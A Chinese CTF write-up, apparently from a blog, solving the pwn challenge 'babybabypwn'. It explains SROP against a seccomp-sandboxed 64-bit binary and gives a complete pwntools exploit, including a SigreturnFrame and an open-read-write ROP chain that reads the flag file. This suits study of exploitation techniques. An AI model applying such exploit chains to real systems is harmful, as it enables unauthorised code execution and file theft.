[V&N2020 公开赛]babybabypwn

附件

步骤:

  1. 例行检查,64位程序,保护全开

  2. 本地试运行一下,看看程序的大概情况

  3. 64位ida载入,看一下main函数

  4. sub_1202()函数,沙盒的限制条件

  5. 用seccomp-tools看一下

    其他禁用的指令是干什么的我不是很清楚,但是禁用了execve(系统调用),也就没办法获取shell权限了,只能够想办法通过open–>read–>write的方式来获取flag的值了

  6. sub_1347()函数

  7. 一开始给我们泄露了puts函数的地址,接着读入参数buf,限制了长度,不存在溢出,之后进行系统调用syscall,syscall是一个间接系统调用函数
    间接系统调用号
    第一个参数可以是很多数,百度后得知,第一个参数是15的时候代表调用的是sigreturn,看网上师傅都说遇到sigreturn就用SROP

  8. 关于SROP可以看一下这篇文章,总结的很好
    借用一下里面的总结
    如下图所示,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)

    在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn,这个地址指向一段代码,在这段代码中会调用sigreturn系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn,所以,signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn

    我们将这段内存称为一个Signal Frame
    在内核sigreturn系统调用处理函数中,会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。

  9. 其主要思路是利用信号处理函数结束时,内核在恢复进程上下文时,需要从栈上取Signal Frame来恢复寄存器,由于栈上内容是我们可以控制的,因此可以利用这个过程,人为的操作Signal Frame,进而达到操作寄存器的目的。

  10. 这道题我们可以看到,没有调用signal,,直接就调用了syscall(15)也就是sigreturn函数,我们之前输入的buf被当作各种寄存器参数依次出栈,这个buf充当的角色也就是上面所说的 Signal Frame ,buf的数据我们是可控的,也就是说我们可以按我们的意愿构造进程状态。
    我们就可以通过syscall(15)构造好Signal Frame,把程序流伪造为下一个要执行的函数是read,把我们精心构造的ROP写到某个地方,然后ret过去进行ROP,一般都是写在全局变量段bss段上

  11. 由于开启了PIE,所以我们不知道程序里的地址,但好在泄露了puts函数的地址,这样就可以知道libc版本,然后去计算程序里的函数的地址

    找一下libc里bss段的地址(这边有个坑,可能是因为我在buu平台上做的题,在这边下的libc_2.23这个libc版本里的函数地址和buu上的libc-2.23里的地址不一样,这题用buu上的libc地址可以打通)

    64位传参,用到了寄存器,先找一下设置寄存器值的指令
    ROPgadget --binary libc-2.23.so |grep “pop rdi”

    ROPgadget --binary libc-2.23.so |grep “pop rsi”

    ROPgadget --binary libc-2.23.so |grep “pop rdx”

    根据上述的信息,我们可以算出程序里的一些寄存器和bss段的实际地址了

r.recvuntil(': ')
puts_addr = int(r.recv(14), 16) libc = LibcSearcher('puts', puts_addr) libcbase = puts_addr - libc.dump('puts')
open_addr = libcbase + libc.dump('open')
read = libcbase + libc.dump('read')
write = libcbase + libc.dump('write')
bss = libcbase + 0x3c5720 + 0x400#往栈上压入数据是从下往上写的, 0x3c5720是bss段的起始地址,我们需要先抬高一下栈,不然往bss段里写东西的时候会覆盖掉其他段的值,可能会导致利用失败
pop_rdi = libcbase + 0x21102
pop_rsi = libcbase + 0x202e8
pop_rdx = libcbase + 0x1b92

在知道了上述的地址后,我们就可以利用pwntools直接来构造Signal Frame
记得在exp的开头加上context(os='linux', arch='amd64', log_level='debug')来设置一下pwntool是环境,不然没法直接利用pwntools来构造Signal Frame

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x100
frame.rip = read
frame.rsp = bss
r.sendafter('Please input magic message:', str(frame)[8:])

简单说一下为什么要舍弃frame的前8位

通过查看汇编可以看到,下一次函数跳转的时候用到了var_8的值,var_8在栈上的位置


在栈上的前8字节,所以我们写入frame 的时候要舍弃掉前8位,避免破坏var_8的值,debug调试可以看到前8位是0x00,不影响

我们构造的Signal Frame实现的功能主要是调用read函数往bss段写入内容,然后跳转到bss段执行我们布置好的语句
我们现在要去bss段布置rop攻击的语句,由于禁用了execve,所以使用的open–>read–>write这样的方式读出flag

现在要找一下’flag’ 字符串的位置

它这个位置距离我们想要写入的bss段的地址是0x98,我们可以用bss+0x98来表示它(写exp的时候得到了bss段的实际地址输出看一下,每次启动的都不一样,但是他们的相对距离是固定的)

flag_addr = bss + 0x98
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(write)
payload += 'flag'

完整exp

from pwn import *
from LibcSearcher import * #local_libc = './libc-2.23.so'
#r = remote('node3.buuoj.cn', 28427)
r=process('./vn_pwn_babybabypwn_1')
elf = ELF('./vn_pwn_babybabypwn_1') context(os='linux', arch='amd64', log_level='debug') r.recvuntil(': ')
puts_addr = int(r.recv(14), 16) libc = LibcSearcher('puts', puts_addr) libcbase = puts_addr - libc.dump('puts')
open_addr = libcbase + libc.dump('open')
read = libcbase + libc.dump('read')
write = libcbase + libc.dump('write')
bss = libcbase + 0x00000000003c5720 + 0x400
pop_rdi = libcbase + 0x21102
pop_rsi = libcbase + 0x202e8
pop_rdx = libcbase + 0x1b92 frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x100
frame.rip = read
frame.rsp = bss
r.sendafter('Please input magic message:', str(frame)[8:])
print 'bss:'+hex(bss) flag_addr = bss + 0x98
#flag_addr=0x7ffff77d2f6a
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(write)
payload += 'flag\x00' #gdb.attach(r) r.send(payload) r.interactive()

[BUUCTF]PWN——[V&N2020 公开赛]babybabypwn的更多相关文章

  1. [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap

    [V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...

  2. [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap

    [V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...

  3. [BUUCTF]PWN——[V&N2020 公开赛]warmup

    [V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...

  4. [BUUCTF]REVERSE——[V&N2020 公开赛]CSRe

    [V&N2020 公开赛]CSRe 附件 步骤: 例行检查,无壳儿,但是有NET混淆,使用de4dot工具进行处理 之后用dnSpy打开,从入口点开始看程序 找到有关flag的信息 flag由 ...

  5. [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp

    [V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...

  6. [V&N2020 公开赛]babybabypwn

    写在开头,感谢"影二つ"师傅的指点. 题目的做法思路网上一搜一大把,这篇博客主要记录一下这道题用pwntools写srop的时候,为什么需要省略前面8个字节. 在看题目之前,先来学 ...

  7. 【pwn】V&N2020 公开赛 simpleHeap

    [pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...

  8. 刷题记录:[V&N2020 公开赛]TimeTravel

    题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...

  9. [V&N2020 公开赛] Web misc部分题解

    0x00 前言 写了一天题目,学到了好多东西, 简单记录一下 0x01 Web HappyCTFd 直接使用网上公开的cve打: 解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮 ...

随机推荐

  1. Redis篇:事务和lua脚本的使用

    现在多数秒杀,抽奖,抢红包等大并发高流量的功能一般都是基于 redis 实现,然而在选择 redis 的时候,我们也要了解 redis 如何保证服务正确运行的原理 前言 redis 如何实现高性能和高 ...

  2. [loj2393]门票安排

    为了方便,不妨假设$a_{i}\le b_{i}$,并将问题转换为以下形式: $\forall 1\le i\le m$,将$[a_{i},b_{i})$或$[1,a_{i})\cup [b_{i}, ...

  3. [cf566C]Logistical Questions

    记$d(x,y)$为$x$到$y$的距离,$cost_{x}=\sum_{i=1}^{n}w_{i}d(x,i)^{\frac{3}{2}}$为$x$的代价 取$C$为足够大量,对于一条边权为$w$的 ...

  4. IDEA修改XML注释风格

    作为一个强迫症患者,每次想在xml文件用快捷键注释的时候,它自动生成的注释一直都是这样的:这令我非常难受,于是每次我都要把光标移到前面,然后再Tab以下,让它变成这样可是每次都这样,好麻烦啊,如果自己 ...

  5. 将vue文档下载到本地预览

    1下载:https://github.com/vuejs/cn.vuejs.org   到本地 2. npm install npm start # 开发服务器地址为 http://localhost ...

  6. 7.2 k8s 基于PV、PVC搭建zookeeper 3节点集群

    1.PV,PVC介绍 1.1.StorageClass & PV & PVC关系图 Volumes 是最基础的存储抽象,其支持多种类型,包括本地存储.NFS.FC以及众多的云存储,我们 ...

  7. 城市防汛应急管理智慧 Web GIS 可视化平台

    前言 今年第 17 号台风"狮子山"(热带风暴级)登陆海南岛,受"狮子山"影响,海南岛北半部地区出现暴雨到大暴雨.局地特大暴雨.台风带来的强风雨导致海南岛多地树 ...

  8. 力扣 - 剑指 Offer 46. 把数字翻译成字符串

    题目 剑指 Offer 46. 把数字翻译成字符串 思路1(递归,自顶向下) 这题和青蛙跳台阶很类似,青蛙跳台阶说的是青蛙每次可以跳一层或者两层,跳到第 n 层有多少种解法,而这题说的是讲数字翻译成字 ...

  9. 洛谷 P4548 - [CTSC2006]歌唱王国(概率生成函数)

    洛谷题面传送门 PGF 入门好题. 首先介绍一下 PGF 的基本概念.对于随机变量 \(X\),满足 \(X\) 的取值总是非负整数,我们即 \(P(v)\) 表示 \(X=v\) 的概率,那么我们定 ...

  10. Codeforces 605D - Board Game(树状数组套 set)

    Codeforces 题目传送门 & 洛谷题目传送门 事实上是一道非常容易的题 很容易想到如果 \(c_i\geq a_j\) 且 \(d_i\geq b_j\) 就连一条 \(i\to j\ ...